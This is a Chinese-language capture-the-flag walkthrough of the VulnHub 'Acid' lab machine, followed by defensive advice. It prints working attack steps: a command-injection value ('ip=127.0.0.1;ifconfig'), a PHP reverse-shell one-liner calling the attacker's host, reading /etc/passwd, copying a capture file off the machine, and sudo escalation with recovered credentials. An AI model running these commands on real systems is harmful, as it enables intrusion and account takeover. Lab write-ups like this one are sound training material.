VulnHub靶机学习——Acid实战记录
字数 1361 2025-08-18 11:38:23

VulnHub靶机Acid渗透实战教学文档

一、靶机概述

二、环境准备

  • 攻击机: Kali Linux (VMware虚拟机)
  • 靶机: Acid (VMware虚拟机)
  • 网络配置: 两台机器均使用NAT连接模式

三、渗透测试流程

1. 信息收集

1.1 发现靶机IP

nmap -sP 192.168.50.0/24

发现靶机IP为192.168.50.139

1.2 端口扫描

nmap -sV -p- 192.168.50.139

发现开放了33447端口

2. Web应用分析

访问靶机Web服务:

http://192.168.50.139:33447/

页面显示"欢迎来到酸的世界~~~"

2.1 目录爆破

使用DirBuster进行目录扫描,发现以下重要目录:

  • /Challenge
  • /Magic_Box

2.2 关键页面分析

  • cake.php: 登录页面,点击login会跳转到index.php
  • include.php: 存在文件包含漏洞,但无上传点
  • command.php: 命令执行页面

3. 漏洞利用

3.1 命令注入

在command.php页面,通过Burp Suite拦截请求并修改参数:

原始请求:

ip=127.0.0.1

修改后请求:

ip=127.0.0.1;ifconfig

确认命令执行成功

3.2 反弹Shell

在Kali上启动监听:

nc -lvnp 6666

通过command.php执行PHP反弹Shell代码(URL编码后):

;php -r '$sock=fsockopen("192.168.50.140",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

3.3 升级Shell

获得基础Shell后,执行:

python -c 'import pty;pty.spawn("/bin/bash")'

获取交互式Shell

4. 权限提升

4.1 用户枚举

查看系统用户:

cat /etc/passwd

发现关键用户: acid, saman

4.2 查找用户文件

find / -user acid 2>/dev/null

发现重要文件: /sbin/raw_vs_isi/hint.pcapng

4.3 分析网络流量文件

将pcapng文件传输到本地分析:

scp /sbin/raw_vs_isi/hint.pcapng root@192.168.50.140:/root/

使用Wireshark分析发现:

  • 用户名: saman
  • 密码: 1337hax0r

4.4 提权操作

切换到saman用户:

su saman

密码: 1337hax0r

提权到root:

sudo -i

使用相同密码: 1337hax0r

5. 获取Flag

进入root目录查看flag:

cd /root
cat flag.txt

四、技术要点总结

  1. 信息收集:

    • 使用nmap进行主机发现和端口扫描
    • 目录爆破发现隐藏页面
  2. 漏洞利用:

    • 命令注入漏洞利用
    • PHP反弹Shell技术
    • Shell交互性升级
  3. 权限提升:

    • 通过find命令查找用户文件
    • 分析网络流量文件获取凭证
    • 利用sudo提权
  4. 关键点:

    • 仔细分析每个Web页面的源代码
    • 注意页面标题与目录名的关联
    • 耐心分析网络流量文件

五、防御建议

  1. Web应用安全:

    • 过滤用户输入,防止命令注入
    • 避免在页面中暴露敏感信息
    • 限制目录遍历
  2. 系统安全:

    • 避免在流量文件中存储凭证
    • 限制sudo权限
    • 使用更复杂的密码策略
  3. 监控与审计:

    • 监控异常网络连接
    • 定期审计系统文件权限
    • 记录和分析系统日志

六、扩展学习

  1. 相关工具:

    • DirBuster: Web目录扫描
    • Wireshark: 网络流量分析
    • Netcat: 网络工具集
  2. 类似靶机:

    • VulnHub上的其他初学者/中级靶机
    • OverTheWire的Bandit系列
  3. 深入学习:

    • 命令注入漏洞原理与防御
    • 权限提升技术
    • 网络取证分析技术
VulnHub靶机Acid渗透实战教学文档 一、靶机概述 靶机名称 : Acid 难度等级 : 初学者/中级 目标 : 获取root权限并查看flag 下载地址 : https://download.vulnhub.com/acid/Acid.rar 二、环境准备 攻击机 : Kali Linux (VMware虚拟机) 靶机 : Acid (VMware虚拟机) 网络配置 : 两台机器均使用NAT连接模式 三、渗透测试流程 1. 信息收集 1.1 发现靶机IP 发现靶机IP为192.168.50.139 1.2 端口扫描 发现开放了33447端口 2. Web应用分析 访问靶机Web服务: 页面显示"欢迎来到酸的世界~~~" 2.1 目录爆破 使用DirBuster进行目录扫描,发现以下重要目录: /Challenge /Magic_ Box 2.2 关键页面分析 cake.php : 登录页面,点击login会跳转到index.php include.php : 存在文件包含漏洞,但无上传点 command.php : 命令执行页面 3. 漏洞利用 3.1 命令注入 在command.php页面,通过Burp Suite拦截请求并修改参数: 原始请求: 修改后请求: 确认命令执行成功 3.2 反弹Shell 在Kali上启动监听: 通过command.php执行PHP反弹Shell代码(URL编码后): 3.3 升级Shell 获得基础Shell后,执行: 获取交互式Shell 4. 权限提升 4.1 用户枚举 查看系统用户: 发现关键用户: acid, saman 4.2 查找用户文件 发现重要文件: /sbin/raw_vs_isi/hint.pcapng 4.3 分析网络流量文件 将pcapng文件传输到本地分析: 使用Wireshark分析发现: 用户名: saman 密码: 1337hax0r 4.4 提权操作 切换到saman用户: 密码: 1337hax0r 提权到root: 使用相同密码: 1337hax0r 5. 获取Flag 进入root目录查看flag: 四、技术要点总结 信息收集 : 使用nmap进行主机发现和端口扫描 目录爆破发现隐藏页面 漏洞利用 : 命令注入漏洞利用 PHP反弹Shell技术 Shell交互性升级 权限提升 : 通过find命令查找用户文件 分析网络流量文件获取凭证 利用sudo提权 关键点 : 仔细分析每个Web页面的源代码 注意页面标题与目录名的关联 耐心分析网络流量文件 五、防御建议 Web应用安全 : 过滤用户输入,防止命令注入 避免在页面中暴露敏感信息 限制目录遍历 系统安全 : 避免在流量文件中存储凭证 限制sudo权限 使用更复杂的密码策略 监控与审计 : 监控异常网络连接 定期审计系统文件权限 记录和分析系统日志 六、扩展学习 相关工具 : DirBuster: Web目录扫描 Wireshark: 网络流量分析 Netcat: 网络工具集 类似靶机 : VulnHub上的其他初学者/中级靶机 OverTheWire的Bandit系列 深入学习 : 命令注入漏洞原理与防御 权限提升技术 网络取证分析技术